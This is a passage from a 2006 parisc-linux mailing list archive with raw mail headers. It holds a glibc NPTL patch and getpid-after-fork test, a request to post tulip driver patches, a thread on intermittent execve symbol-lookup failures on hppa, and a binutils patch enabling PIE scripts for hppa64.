-       tst-getpid1 tst-getpid2 \
+       tst-getpid1 tst-getpid2 tst-getpid3 \
        tst-initializers1 $(patsubst %,tst-initializers1-%,c89 gnu89 c99 gnu99)
 xtests = tst-setuid1 tst-setuid1-static

Index: nptl/allocatestack.c
===================================================================
RCS file: /cvs/glibc/libc/nptl/allocatestack.c,v
retrieving revision 1.62
diff -u -p -r1.62 allocatestack.c
--- nptl/allocatestack.c        28 Mar 2006 04:14:00 -0000      1.62
+++ nptl/allocatestack.c        31 Jul 2006 16:04:17 -0000
@@ -758,6 +758,15 @@ __reclaim_stacks (void)
        }
     }

+  /* Reset the PIDs in any cached stacks.  */
+  list_for_each (runp, &stack_cache)
+    {
+      struct pthread *curp;
+
+      curp = list_entry (runp, struct pthread, list);
+      curp->pid = self->pid;
+    }
+
   /* Add the stack of all running threads to the cache.  */
   list_splice (&stack_used, &stack_cache);

Index: nptl/tst-getpid3.c
===================================================================
RCS file: nptl/tst-getpid3.c
diff -N nptl/tst-getpid3.c
--- /dev/null   1 Jan 1970 00:00:00 -0000
+++ nptl/tst-getpid3.c  31 Jul 2006 16:04:17 -0000
@@ -0,0 +1,112 @@
+#include <string.h>
+#include <stdio.h>
+#include <unistd.h>
+#include <sys/wait.h>
+#include <pthread.h>
+#include <stdlib.h>
+
+static pid_t pid;
+
+static void *
+pid_thread (void *arg)
+{
+  if (pid != getpid ())
+    {
+      printf ("pid wrong in thread: %d / %d\n", pid, getpid ());
+      return (void *) 1L;
+    }
+
+  return NULL;
+}
+
+static int
+do_test (void)
+{
+  pthread_t thr;
+  int ret, status;
+  void *thr_ret;
+  pid_t child;
+
+  pid = getpid ();
+  ret = pthread_create (&thr, NULL, pid_thread, NULL);
+  if (ret)
+    {
+      printf ("pthread_create failed: %d\n", ret);
+      return 1;
+    }
+
+  ret = pthread_join (thr, &thr_ret);
+  if (ret)
+    {
+      printf ("pthread_create failed: %d\n", ret);
+      return 1;
+    }
+  else if (thr_ret)
+    {
+      printf ("thread getpid failed\n");
+      return 1;
+    }
+
+  child = fork ();
+  if (child == -1)
+    {
+      printf ("fork failed: %m\n");
+      return 1;
+    }
+  else if (child == 0)
+    {
+      if (pid == getpid ())
+       {
+         puts ("pid did not change after fork");
+         exit (1);
+       }
+
+      pid = getpid ();
+      ret = pthread_create (&thr, NULL, pid_thread, NULL);
+      if (ret)
+       {
+         printf ("pthread_create failed: %d\n", ret);
+         return 1;
+       }
+
+      ret = pthread_join (thr, &thr_ret);
+      if (ret)
+       {
+         printf ("pthread_create failed: %d\n", ret);
+         return 1;
+       }
+      else if (thr_ret)
+       {
+         printf ("thread getpid failed\n");
+         return 1;
+       }
+
+      return 0;
+    }
+
+  if (waitpid (child, &status, 0) != child)
+    {
+      puts ("waitpid failed");
+      kill (child, SIGKILL);
+      return 1;
+    }
+
+  if (!WIFEXITED (status))
+    {
+      if (WIFSIGNALED (status))
+       printf ("died from signal %s\n", strsignal (WTERMSIG (status)));
+      else
+       puts ("did not terminate correctly");
+      return 1;
+    }
+  if (WEXITSTATUS (status) != 0)
+    {
+      printf ("exit code %d\n", WEXITSTATUS (status));
+      return 1;
+    }
+
+  return 0;
+}
+
+#define TEST_FUNCTION do_test ()
+#include "../test-skeleton.c"
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Valerie Henson <val_henson@linux.intel.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [git patches] tulip fixes from parisc-linux
Date: Mon, 31 Jul 2006 20:10:25 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <20060801031024.GF11415__4312.79285480759$1416624152$gmane$org@goober>
References: <20060729225459.GA4835@athena.road.mcmartin.ca>
	<20060730004339.GC11975@colo.lackof.org>
	<20060730165607.GB4835@athena.road.mcmartin.ca>
	<20060730113532.4db2fcb5.akpm@osdl.org>
	<20060730185456.GA17066@tachyon.int.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624152 20655 80.91.229.3 (22 Nov 2014 02:42:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:32 +0000 (UTC)
Cc: Andrew Morton <akpm@osdl.org>,
 netdev@vger.kernel.org,
 parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Aug 2006 03:12:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx080) with SMTP; 01 Aug 2006 05:12:27 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4D8A77D671;
	Mon, 31 Jul 2006 21:12:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00716-04; Mon, 31 Jul 2006 21:12:24 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D2C327D672;
	Mon, 31 Jul 2006 21:12:22 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AFA6A7D670
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 31 Jul 2006 21:12:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32562-10 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 31 Jul 2006 21:12:17 -0600 (MDT)
Original-Received: from fmsmga101.fm.intel.com (mga05.intel.com [192.55.52.89])
	by free.linux.hp.com (Postfix) with ESMTP id 2CF977D66F
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 31 Jul 2006 21:12:17 -0600 (MDT)
Original-Received: from fmsmga001.fm.intel.com ([10.253.24.23])
	by fmsmga101.fm.intel.com with ESMTP; 31 Jul 2006 20:12:15 -0700
Original-Received: from orsfmr100.jf.intel.com ([10.7.209.16])
	by fmsmga001.fm.intel.com with ESMTP; 31 Jul 2006 20:12:15 -0700
X-IronPort-AV: i="4.07,200,1151910000"; 
	d="scan'208"; a="108213353:sNHT15129436"
Original-Received: from localhost.localdomain ([134.134.16.119])
	by orsfmr100.jf.intel.com (8.12.10/8.12.10/d: major-inner.mc,v 1.2
	2004/09/17 18:05:01 root Exp $) with ESMTP id k713CE4N032442; 
	Tue, 1 Aug 2006 03:12:14 GMT
Original-Received: by localhost.localdomain (Postfix, from userid 1000)
	id 2E43540D9; Mon, 31 Jul 2006 20:10:25 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20060730185456.GA17066@tachyon.int.mcmartin.ca>
User-Agent: Mutt/1.5.9i
X-Scanned-By: MIMEDefang 2.52 on 10.7.209.16
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: pf74DXBoQEVs4OjDZnVpU8JKNzg2NUL6
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23887

On Sun, Jul 30, 2006 at 02:54:56PM -0400, Kyle McMartin wrote:
> On Sun, Jul 30, 2006 at 11:35:32AM -0700, Andrew Morton wrote:
> > hm.  A couple of those patches have been futzing around in -mm for over a
> > year and have been nacked by Jeff and are a regular source of grumpygrams. 
> > I've been sitting on them in the pathetic hope that someone will one day
> > get down and address the bugs which they fix in an acceptable fashion,
> > whatever that is.
> > 
> 
> Jeff/Val seemed willing to merge the fixes as they stood. parisc-linux
> merged Francois' tulip workqueue patch some time ago, and have been
> running with it since without issue. This defers the tulip_select_media
> work to process context, and so should be less of an issue.

Hey Kyle,

Thanks for splitting these out.  Could you do us a favor and post the
patches themselves?  I'm not the only one who doesn't use git, and it
will be a lot less confusing if we can directly ack the patches in
email instead of referring to them third-hand.  Thanks,

-VAL
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] /bin/sh: undefined symbol: execve
Date: Sun, 6 Aug 2006 14:05:42 -0400 (EDT)
Lines: 38
Approved: news@gmane.org
Message-ID: <200608061805.k76I5gk1015076@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624152 20658 80.91.229.3 (22 Nov 2014 02:42:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:32 +0000 (UTC)
Cc: carlos@codesourcery.com
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Aug 2006 18:05:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx035) with SMTP; 06 Aug 2006 20:05:59 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2A2A37D679;
	Sun,  6 Aug 2006 12:05:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08935-10; Sun, 6 Aug 2006 12:05:56 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8CBD67D67B;
	Sun,  6 Aug 2006 12:05:54 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 69F727D678
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  6 Aug 2006 12:05:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08935-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 6 Aug 2006 12:05:49 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 332A87D677
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  6 Aug 2006 12:05:49 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k76I5glv015077;
	Sun, 6 Aug 2006 14:05:43 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k76I5gk1015076;
	Sun, 6 Aug 2006 14:05:42 -0400 (EDT)
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: uxnjdeZgbUkoDenGPWgn7dtkZ2hlN8oY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23888

I'm seeing the following fault and others like it in the libjava
testsuite, GCC head:

Executing on host: /home/dave/gcc-4.2/objdir/hppa-linux/libjava/testsuite/../lib
tool --silent --tag=GCJ --mode=link /home/dave/gcc-4.2/objdir/gcc/gcj -B/home/da
ve/gcc-4.2/objdir/hppa-linux/libjava/ -B/home/dave/gcc-4.2/objdir/gcc/ --encodin
g=UTF-8 -B/home/dave/gcc-4.2/objdir/hppa-linux/libjava/testsuite/../ /home/dave/
gcc-4.2/gcc/libjava/testsuite/libjava.lang/PR3096.java   -no-install --main=PR30
96 -g  -L/home/dave/gcc-4.2/objdir/hppa-linux/./libjava/.libs -lm   -o /home/dav
e/gcc-4.2/objdir/hppa-linux/libjava/testsuite/PR3096.exe    (timeout = 300)
/bin/sh: symbol lookup error: /bin/sh: undefined symbol: execve, version
libtool: ignoring unknown tag
output is:
/bin/sh: symbol lookup error: /bin/sh: undefined symbol: execve, version
libtool: ignoring unknown tag

FAIL: PR3096 compilation from source

I see these errors of gsyprf11 (SMP 64-bit kernel).  I don't see
the fails on hiauly6 (UP 32-bit kernel).  I believe that these
lookup errors are from the dynamic loader.  execve is undefined in
/bin/sh but it should be resolved by libc.

The fails aren't consistent from run to run, so there appears to
be a race condition somewhere in the lookup process.

Thoughts?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] /bin/sh: undefined symbol: execve
Date: Sun, 6 Aug 2006 17:09:20 -0400
Lines: 26
Approved: news@gmane.org
Message-ID: <119aab440608061409h774f8401p7bf8b441337aa615@mail.gmail.com>
References: <200608061805.k76I5gk1015076@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624152 20660 80.91.229.3 (22 Nov 2014 02:42:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:32 +0000 (UTC)
Cc: carlos@codesourcery.com,
 parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Aug 2006 21:09:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx090) with SMTP; 06 Aug 2006 23:09:33 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3E7BB7D682;
	Sun,  6 Aug 2006 15:09:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11815-04; Sun, 6 Aug 2006 15:09:30 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A26697D683;
	Sun,  6 Aug 2006 15:09:28 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1BDC47D67F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  6 Aug 2006 15:09:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11815-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 6 Aug 2006 15:09:23 -0600 (MDT)
Original-Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.186])
	by free.linux.hp.com (Postfix) with ESMTP id A9AB97D661
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  6 Aug 2006 15:09:22 -0600 (MDT)
Original-Received: by nf-out-0910.google.com with SMTP id g2so1150277nfe
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 06 Aug 2006 14:09:21 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=ckqQyHwR7ybeYBIgMOTFHoe2vU3Sfvm+HaUuJdG0tOwZX/JLTC+BQBDSVsijT14ePcIt7WbG+o7KAriwSlgas3guou8hfYAPwnyramEnESV2N0GQ5mirxEKLOTU8PGkb1cuA2SJvZTnwgRv3PGORSRPZduPLpdXsGLdjFShPF1I=
Original-Received: by 10.78.185.7 with SMTP id i7mr2193914huf;
	Sun, 06 Aug 2006 14:09:20 -0700 (PDT)
Original-Received: by 10.78.141.1 with HTTP; Sun, 6 Aug 2006 14:09:20 -0700 (PDT)
In-Reply-To: <200608061805.k76I5gk1015076@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Google-Sender-Auth: eeaa8967ee5a1c3f
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: uWLjcNpCRkkeaauPfGRqCSNmdWkvKJNY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23889

On 8/6/06, John David Anglin <dave@hiauly1.hia.nrc.ca> wrote:
> I see these errors of gsyprf11 (SMP 64-bit kernel).  I don't see
> the fails on hiauly6 (UP 32-bit kernel).  I believe that these
> lookup errors are from the dynamic loader.  execve is undefined in
> /bin/sh but it should be resolved by libc.
>
> The fails aren't consistent from run to run, so there appears to
> be a race condition somewhere in the lookup process.
>
> Thoughts?

It is unlikely the generic code has a race condition. However, because
we return a "struct fdesc" from the lookup routines, we have to be
very careful. This small structure is copied by value, and the copy is
*not* atomic. There is code to ensure that the last thing we write
into the fdesc is the IP. Please look at the "struct fdesc" code in
libc-ports/sysdeps/hppa/dl-machine.h. It's all upstream.

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Fwd: [patch] enable pie scripts for hppa64
Date: Wed, 9 Aug 2006 00:13:09 -0400
Organization: wh0rd.org
Lines: 93
Approved: news@gmane.org
Message-ID: <200608090013.09789.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============0033293297=="
X-Trace: ger.gmane.org 1416624153 20663 80.91.229.3 (22 Nov 2014 02:42:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:33 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Aug 2006 04:13:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx016) with SMTP; 09 Aug 2006 06:13:11 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C316D7D6D7;
	Tue,  8 Aug 2006 22:13:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21443-07; Tue, 8 Aug 2006 22:13:08 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 151467D6DA;
	Tue,  8 Aug 2006 22:13:07 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2CD127D6D5
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  8 Aug 2006 22:13:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21051-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 8 Aug 2006 22:13:03 -0600 (MDT)
Original-Received: from smtp.gentoo.org (smtp.gentoo.org [140.211.166.183])
	by free.linux.hp.com (Postfix) with ESMTP id E16AA7D6D0
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  8 Aug 2006 22:13:02 -0600 (MDT)
Original-Received: from home.wh0rd.org (localhost [127.0.0.1])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by smtp.gentoo.org (Postfix) with ESMTP id 430D464B65
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  9 Aug 2006 04:13:01 +0000 (UTC)
Original-Received: (qmail 29484 invoked from network); 9 Aug 2006 00:11:09 -0400
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 9 Aug 2006 00:11:09 -0400
User-Agent: KMail/1.9.3
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 61frdZQNIyd1EvqQe2drDx9aa2FkZtUN
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23890

--===============0033293297==
Content-Type: multipart/signed; boundary="nextPart39863287.3X00dBzZSq";
	protocol="application/pgp-signature"; micalg=pgp-sha1
Content-Transfer-Encoding: 7bit

--nextPart39863287.3X00dBzZSq
Content-Type: multipart/mixed;
  boundary="Boundary-01=_VDW2Eb0Wd+te0zQ"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

--Boundary-01=_VDW2Eb0Wd+te0zQ
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

ok to apply ?  i dont want to step on anyone's toes ...
-mike

----------  Forwarded Message  ----------

Subject: [patch] enable pie scripts for hppa64
Date: Thursday 20 July 2006 01:18
From: Mike Frysinger <vapier@gentoo.org>
To: binutils@sourceware.org

ld/emulparams/hppalinux.sh was updated not too long ago to enable pie
 scripts, but hppa64linux.sh was skipped ... any reason to not do this ?
-mike

-------------------------------------------------------

--Boundary-01=_VDW2Eb0Wd+te0zQ
Content-Type: text/x-diff; charset="us-ascii";
	name="10_all_generate-pie-scripts.patch"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline;
	filename="10_all_generate-pie-scripts.patch"

2006-07-19  Mike Frysinger  <vapier@gentoo.org>

	* emulparams/hppa64linux.sh (GENERATE_PIE_SCRIPT): Set to yes.

=2D-- ld/emulparams/hppa64linux.sh
+++ ld/emulparams/hppa64linux.sh
@@ -13,6 +13,7 @@
 ENTRY=3D"main"
 TEMPLATE_NAME=3Delf32
 GENERATE_SHLIB_SCRIPT=3Dyes
+GENERATE_PIE_SCRIPT=3Dyes
=20
 # We really want multiple .stub sections, one for each input .text section,
 # but for now this is good enough.

--Boundary-01=_VDW2Eb0Wd+te0zQ--

--nextPart39863287.3X00dBzZSq
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.4 (GNU/Linux)

iQIVAwUARNlg1UFjO5/oN/WBAQKmZA//e9HhoWrm28GNsuLHq1Sr89xqJDmkK+dL
OdizL9UnbBu6NdW7E58OX4s+/eK9ppJjH5Mwto2Xe8B/IATy3bwQhjRsSlLsWnCe
bKD42p7xufBff3lq1Jau2fD2gpvZI62qa4+t/34mVD/NJKxIyFZvJONI3PimCFt8
